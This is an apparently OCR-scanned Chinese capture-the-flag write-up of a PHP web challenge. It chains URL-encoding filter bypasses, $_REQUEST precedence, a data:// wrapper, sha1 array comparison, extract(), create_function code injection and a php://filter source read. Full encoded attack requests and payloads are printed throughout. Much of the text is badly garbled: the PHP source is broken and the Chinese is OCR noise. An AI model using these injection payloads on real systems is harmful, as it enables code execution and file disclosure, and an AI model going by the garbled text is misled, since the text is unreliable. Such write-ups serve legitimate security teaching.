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<?php
highlight_file(__FILE_ );
error_reporting(0);

if($_SERVER) {
if (
preg_match(
, $_SERVER][

)
die(

if (!preg_match( . $ GET[file')) {
if (preg_match( ,$ GET][ )
$file = $_GET["file"];
echo

}

} else die(

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match( , $value))
die( )

t

if (file_get_contents($file)
die(

if ( sha1($shana) sha1($passwd) $shana = $passwd ){
extract($_GET[ 1);

if(preg_match(
preg_match(

include
$code(", $arg);

This is a very simple challenge and if you solve it | will give you a flag. Good Luck
xck you! | hate English
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if($_SERVER) {
hill{
preg_match(

,$_SERVER[

$ SERVERHL& 5I{A :

$_SERVER['HTTP_HOST]: 47l i# K fiHostk i I 7
$_SERVER['SERVER_NAME']: 1T M TR R T {E R EHLE R

$ _SERVER['REQUEST URI]: i i i 5 1 75 2 A URL
$_SERVER['PHP_SELF’]: 47 IEAEHAT B9 5T A2 FR

$ SERVER['QUERY_STRING']: #Fifi {45 514

A R SR RIS . hitp:/jhsiao.dscloud.me:8080/server2.php?id=1798
$_SERVER['HTTP_HOST]: jhsiao.dscloud.me:8080
$_SERVER['SERVER NAME’]: jhsiao.dscloud.me
$_SERVER['REQUEST_URI]: /server2.php?id=1798
$_SERVER['PHP_SELF’]: /server2.php

$_SERVER['QUERY_STRING’]: id=1798

References

(5 N\ % Day15]f# F$_SERVERFEIAFHLEHE - 1T HE T — R E AT MR E#E, PR IT AW—K

$_SERVER['QUERY_STRING'JRZ i {7urldecode, JtHiRM?2EMIMINE, FRNTulgiD, $_ GETISMNT. Flurdiitsst,
48N At EsRdebuftaqua_is_cute, Jitlldebu=aqua_is_cute”s Jy:

%64 %65 %62%75%3d%61%71%75%61%5t%69%7 3%51%63 %7 5%74 %65

i R BAIAS -

import urllib.parse
import binascii
test
print(test)
alist = []
urllib.parse.quote(binascii.n2a_hex(test.encode(
(0, len(test), 2):
alist.append(test][i:i+2])

print( Jjoin(alist))

7

Z¢id preg_match


https://ithelp.ithome.com.tw/articles/10157282

if (Ipreg_match( , $_GET[file)) {
if (preg_match( , $_GET[
$file = $_GET][ I;

echo

}

} else die(

/Maqua_is_cute$/[1) 5 Bk & IX — 4T Al 2aqua_is_cute, B HALFRF, WITECHIL, {Hpreg_match R GEILHEC—1T, AT LAFRAT]
Al LN L AT 7 %0a:

%64 %65%62%75%3d%61%71%75%61%5f%69%7 3%5F%63%75%74%65%0a
#2534 $ REQUEST

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match( , $value))

die( );

$_REQUEST — HTTP Request 22 &
L

BIMEOL NEE T $_GET, $ POST A1 $_COOKIE (1% .

foreachiti )1$_REQUESTHAL, KEIRZ palue, Fiiljvaluese &6 &7, WA A Nldie().

i HI$_GET, $_POSTHI$_COOKIEfE FHAHIFIM & FR. (7 7ES_REQUESTH 1) A 45 L Je 22 L vk T-php.ini HL T
variables_order{JH{&, [tinvariables_order="GPC’, -4iktgimie $_COOKIE, $ POST, $_GET. variables_orderffJEkik
{H/ZEGPCS, FrLIPOSTHIM e LLGETE .

iR M$_GET, $_POSTAHI$_COOKIEf HAHFEIM 44 FR. i fES_REQUESTH ¥ N 2 A 56 Xk T-php.ini BT 1)
variables_orderffJHU{, ttlnvariables_order="GPC’, H4fhitgisiZ $_COOKIE, $_POST, $_GET. variables_orderffJEkiA
EZEGPCS, fiLIPOSTINL %K LGETR, RN JEtrPOSTHINZS, SGHlgetififE, SR HIMiA A postiifh, A HikHE
i

FTUASRAIGET 4, EPOST—>—FE IS4, HSHUEH RS 7t rT UL 1. BOSIRATIGET [ filefidebu, FrLAHAI R 2
POST:
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PHP: Description of core php.ini directives - Manual

What is the $§_REQUEST precedence?

zeitfile_get _contents

if (file_get_contents($file)

die(
] LL# F datath WS ok fhid file ST N 25

ile=data://text/plain,debu_debu_aqua
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e
ile=data:,debu_debu_aqua

zZart sha

if ( sha1($shana) sha1($passwd) && $shana != $passwd ){
extract($_GET][ D);

extract
(PHP 4, PHP 5, PHP 7, PHP 8)
extract — MEZH HoR AR B SN F YT AT 5K

extract()eR il A S o B 44, SR BBV N R R, BEXT B IR TR, KR 2 BT 5 R X 2R — A
AR, [N H HEextract() N (5418 44 ~argflcode, FAH N FR AR B9 B SR A B4R, Eﬂﬂif)@argﬁcodeﬁ‘J@E%%%, 3
HAFGEN . telnfgetfk AMlag[code]=1, 4Ltidextrac ET]” flag’)):HAT/5, ZF& codellIH 2418 36 M1,

QIS8R ik en

shana[]=1&passwd[]=2

create_functionf{hgyE A

if(preg_match(
preg_match(

include
$code(", $arg);

create_function
(PHP 4 >=4.0.1, PHP 5, PHP 7)
create_function — Create an anonymous (lambda-style) function

create_function' /7 1145 F:

create_function(
$newfunc';
echo $newfunc(2, M_E)

create_function$l — N SHUREE X MAUIN SRR, F A SRR IKHEIZE. B5Scode(”, arg);, 18 F]AT LIFEHI
code Mycreate_functioniX ¥, W EFE il $arg Ayl A ] MME N FE 4 R B )8 8 . L i@ getf% 2



lag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

$code(”, $arg);t AT LLEHIE A -

create_function(", );

[X Ncreate_function(”,” )T 1l 1 BE 44 o B I PAT Z 4 42

function fT() {}

BUESR — A28 Jyvar_dump(get_defined_vars()/J5, B 2 & AT IZ 41Uy

function fT() {}var_dump(get_defined_vars());

AT LR IR 4 bR B AU BATHIE N RO P, S B A s R I A o IRIMTIAT 1 JATT & S AS

var_dump(get_defined_vars());.

N4 Hvar_dump(get_defined_vars());Wg ? 71 & Flinclude “flag.php”;, & T flag.php 0, AR LUEH B AR &. Fril
FARINEAEATR E R mAAMHAEN M A s E, TR REFE IR, B IraLErRE? K
I get_defined_vars() F K4 fir G A8 £ A1{HE .

Zia LA BN H

x5 [fpayload:

debu=aqua_is cute&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2&flag[code]=create function&flag[arg]=}var_dump(get_defined vars(

));!/

20t 5 O S A .

import urllib.parse
import binascii
test

print(test)

urllib.parse.quote(binascii.b2a_hex(test.encode(
(0, len(test), 2):
alist.append(test][i:i+2])
print( Jjoin(alist).replace( , "=").replace(

CTEVEWS)

%64 %65 %62%75=%61%71%75%61%5f%69%7 3%51%63 %7 5%74%65&%66 %069 %6 %65=%64 %6 1%74 %61 %3a%2c%64 %65 %62 %7 5%5f%
64%65%62%75%5t%61%71%75%618&%7 3%68%61%6€%61%5b%5d=%318&%70%61%73%7 3%7 7 %64 %5b%5d=%328&%66 %6 %61 %67 %5b

%63 %61%064 %65%5d=%63 %7 2%65%61%74%65 %51%66 %7 5%6€ %63 %74 %69 %6176 &%66 %6 %6 1%6 7 %5b %61 %7 2%67 %5d=%7d%76%
61%72%5F%64%75%6d%70%28%67 %65%7 4 %5f%64 %065 %66 %69 %6e %65 %64 %5f%76 %6 1%7 2 %7 3%28 %29 %29 %3b %2 %21t

MRIEH A Geid i L %0a, fJEHEERT, KIEHERK:



POST /1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%7 3%5f%6 3 %75%74 %65 %0a&%66 %69 %6 c%65=%64 %61%74 %6 1%3a%2c
%64 %65 %62 %7 5%5%64 %65 %62 %75%5%61%7 1%75%61&%7 3%68%61%6€ %6 1%5b%5d=%318&%70%61%7 3%7 3%7 7 %64 %5b%5d=%32
%066 %6C%61%67 %5b%6 3 %6f%64 %65 %5d=%63%72%65%61%7 4 %65 %5 %66 %7 5%6€ %6 3 %7 4 %69 %6 %6 &%66 %6 %6 1%67 %5b %6 1%
72%67 %5d=%7d%76%61%72%5f%64%75%6d%70%28%67 %65%7 4 %5f%64 %65 %66 %69 %6 %665 %64 %5f%7 6 %6 1%72%7 3%28 %29 %29%
3b%2{%2ft HTTP/1.1

Host: 323cba70-1a7c-4974-aa5e-f3e47148e0b9.node4.buuoj.cn:81

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

POST /1nD3x.php? %64 %65%62%75=%61%71%75%61%5f%69 %7 3%5f%63%75%74 %65 %0a&file=data:, %64 %65 %62 %75 %5f%64 %65 %62
%75%5f%61%71%75%618&%73%68%61%6€ %6 1[1=1&%70%6 1%7 3%7 3%7 7 %64[]=2&%66 %6 %6 1%67[%6 3 %6f%64 %65]=create_function&
%66 %6¢%61%67[%61%72%67]=}var_dump(get_defined_vars());// HTTP/1.1

Host: 323cba70-1a7c-4974-aa5e-f3e47148e0b9.node4.buuoj.cn:81

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

debu=1&file=1

R

[“ffffffff1111111499g99g"]=>
string(89) "Baka, do you think it's so easy to get my flag? | hid the real flag in rea1fl4g.php 23333"

}

Vi B H IEfflagfErealfidg.phpt. FE B Y-

if(preg_match(
preg_match(

include
$code(", $arg);

e 11} [include it fiEHrequire
o DIYET HIS, nILUE RS E T LIAING] S EE,  require() £ require " "

o i1yE [flag, 7 Llbase64%hl

AT mr LA

require(php:/ffilter/read=convert.base64-encode/resource=rea1fl4g.php)

BEH SRS . B var_dump(get_defined_vars()), iiiflag, {Hfilteriidy€ 7. F~Zeil BN, {35 BIA:

<?php

echo urlencode(

B -

%8F %97 %8F %C5%D0%D0 %99%96 %93 %8B %9A%8D %D0 %8D %9A%IE%9IB%C2%9C%90 %91 %89%9A%8D %8B %D 1%9D%IE %8 CY%IAY%
C9%CB%D2%9A%91%9C%90%9B%9A%D0 %8D %IA%8 C%90%8A%8D %I C%IA%C2 %8D %IA%IEY%CE%99%93 %CB%98%D1%8F %97 %8

=




Pl

require(~(%8F %97 %8F %C5%D0%D0%99%96 %93 %8B %9A%8D %D0%8D %9A%9E%9B%C2%9C %90 %9 1%89 %IA%8D %8B%D1%ID%IE%
B8C%9A%CI%CB%D2%9A%91%9C%90%9B%IA%D0%8D %IA%8 C%I0%8A%8D %IC %IA%C2%8D %IA%IEYCE %99 %93 %CB%98%D1%8

F%97%8F))

B K var_dump(get_defined_vars()), &i%POSTi%RK:

POST /1nD3x.php? %64 %65%62%75=%61%71%75%61%5f%69 %7 3%5f%6 3 %7 5%74 %65 %0a&file=data:, %64 %65 %62 %75 %5f%64 %65 %62
%75%5f%61%71%75%618&%73%68%61%6€ %6 1[1=1&%70%61%7 3%7 3%7 7 %64[]=2&%66 %6 %6 1%67[%6 3 %6f%64 %65]=create_function&
%66 %6¢%61%67[%61%72%67]=}require(~(%8F %97 %8F %C5%D0%D0%99%96 %93 %8B %9A%8D %D0%8D %9A%IE%9B%C2%9C %90 %91
%89%9A%8D %8B %D 1%9D %9E%8C%IA%CI%CB%D2%9A%91%9C%90%9B%IA%D0%8D%IA%8 C%90%8A%8D%IC%IA%C2%8D %A%
OE%CE%99%93%CB%98%D1%8F %97 %8F));// HTTP/1.1

Host: d5cf6103-1585-4a11-b9b4-04c5feb2b485.node4.buuoj.cn:81

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

<meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real Flag In Here!!!</title>

echo ", REARIKREIF T ? | AEBXAEBEARER IR AEE EflagHk ! ";
$fake flag = "BJD{1am_a_fake f411119g23333}";

$real_f1114g = "flag{54ed0c5b-34c7-4b4c-8f40-fb75f13f0276}";
unset($real f1114q);
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